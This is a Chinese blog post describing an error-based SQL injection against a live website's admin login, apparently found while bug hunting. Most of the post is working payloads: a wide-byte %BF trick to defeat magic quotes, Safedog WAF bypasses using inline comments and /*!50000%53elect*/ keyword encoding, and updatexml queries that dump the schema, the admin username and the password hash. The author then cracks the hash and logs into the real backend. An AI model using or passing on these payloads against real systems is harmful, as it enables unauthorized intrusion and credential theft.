前言
最近在挖補天的src,然后挖出了不少SQL注入,完了出了數(shù)據(jù)庫名就不管那么多提交了。今天挖了個報錯注入的,突然一激靈,說我不能這樣頹廢下去了,剛好是個后臺登錄的界面,我決心要登進它的后臺。
2.1 注入測試
bp抓包,加單引號,沒有什么用
很顯然,這里開啟了php的魔術函數(shù),把單引號自動轉義了
2.1.1 繞過第一式:漢字雙字節(jié)編碼繞過單引號
當開啟了魔術函數(shù)過濾了引號時,可以在引號前加上一個漢字雙字節(jié)編碼,可以實現(xiàn)繞過
例如構造Payload為:
username=%BF'
%BF解碼之后是中文亂碼
此時發(fā)送數(shù)據(jù)包
可以看到SQL語句變成:
SELECT * FROM `sl_admin` WHERE `username`='¿''
成功過濾單引號
程序報錯,考慮使用爆錯注入
3.1 獲取數(shù)據(jù)庫
既然想進后臺,就需要賬號密碼,就要注數(shù)據(jù)庫,表名,列名,內(nèi)容
第一步是注出數(shù)據(jù)庫,版本,用戶等基本信息
先把Payload放出來,再進行講解
Payload:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
數(shù)據(jù)庫名不能放出來,在本文中用test_db代替
用這個Payload成功注出了數(shù)據(jù)庫,因而版本信息,當前用戶只是改一個值的事,在這里也放出來
數(shù)據(jù)庫:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用戶:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#
3.1.1 繞過第二式:注釋
再第一個繞過那里,可以看到SQL語句后面還多了個單引號。這個單引號要么把它閉合,要么就注釋掉。由于這里開啟了魔術函數(shù),所以選擇注釋。
我原本是想用 –+ 來注釋的,但是網(wǎng)站用了安全狗,所以加號被干掉了,那就只能用 # 注釋了。
注釋成功,很簡單,沒什么好說的
3.1.2 繞過第三式:內(nèi)聯(lián)注釋繞過空格
安全狗把空格干掉了
空格或者加號都會被干掉
當空格和加號都被干掉時,可以用內(nèi)聯(lián)注釋 /**/ 代替實現(xiàn)繞過
username=%BF/**/and/**/1'
4.1 獲取表名
再得到數(shù)據(jù)庫后要獲取表名
先把Payload放出來
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
管理員表用admin代替,其他表用test_table代替
4.1.1 繞過第四式:select過安全狗
注表名需要用select語句,因此我最開始寫的Payload是這樣的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
很快啊,被安全狗攔了
這種select的繞過是最麻煩的,我在嘗試了URL編碼繞過,混淆大小寫繞過,臟數(shù)據(jù)繞過均告失敗后,打開了萬能的百度,看到了這篇文章
https://www.cnblogs.com/w-i-n-d/p/8649590.html
在該文中,用 /*!50000%53elect*/ 代替select實現(xiàn)繞過
我嘗試了一下,成功實現(xiàn)了繞過(見上圖)
后來我測試了一下,其他關鍵詞也可以用這種方法繞過
select
/*!50000%53elect*/
order
/*!50000%6frder*/
union
/*!50000%75nion*/
5.1 獲取列名
得到了表名和列名,接下來就是要獲取列名
先放Payload:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#
5.1.1 繞過第五式:騷操作繞過魔術函數(shù)
按照正常的注入流程,寫出來的Payload應該是這樣的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#
問題在于,魔術函數(shù)干掉了我的單引號
于是我就開始各種百度,google,查找怎么繞過魔術函數(shù)
Noway
就在陷入死胡同時,我靈機一動
我在最開始學SQL注入的時候,看到information_schema數(shù)據(jù)庫獲取信息時,專門去看了這個數(shù)據(jù)庫的結構,在columns這個表里有個字段叫 column_name ,是攻擊者需要獲取的信息,有個字段叫 table_schema ,對應的是該字段所在的數(shù)據(jù)庫名,有個字段叫 table_name ,對應的是該字段所在的表名
因此,當同時獲取了數(shù)據(jù)庫名和表名時,可以獲取到對應表的所有列名。
但是在表數(shù)量少且無法利用表名時,可以只指定數(shù)據(jù)庫名,然后利用 limit 語句獲取當前數(shù)據(jù)庫所有的字段,再通過經(jīng)驗判斷表名
例如,我想知道 數(shù)據(jù)庫 test中admin表的內(nèi)容
select column_name from information_schema.columns where table_schema like 'test';
這時通過直覺可以判斷出,admin表中的字段是 id username password
同理,在該站點中,可以通過這種方法,獲取字段
當Payload指定為:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#
得到的字段數(shù)為:typeid
通過修改limit后的值,就可以得到所有的字段,包括admin表中的字段
經(jīng)過測試,當值為 7,1 時可以得到字段 username ;當值為 8,1 時可以得到字段 password
6.1 爆帳密
得到了以上信息后,爆帳密就很簡單了
爆賬號:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密碼:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#
因為密碼長度為32,而這里最多只能顯示31為,因此用substr函數(shù)分兩次爆出
解密得到賬號密碼
登錄成功
總結
實戰(zhàn)注入的難度比靶場大得多,各種繞過,各種騷操作。
要學會利用搜索工具,更要學會選擇性放棄
當一條路走不通就換另一種方法,也許就會柳暗花明又一村
————————————————
版權聲明:本文為CSDN博主「漫路在線」
原文鏈接:
https://blog.csdn.net/realmels/article/details/122766147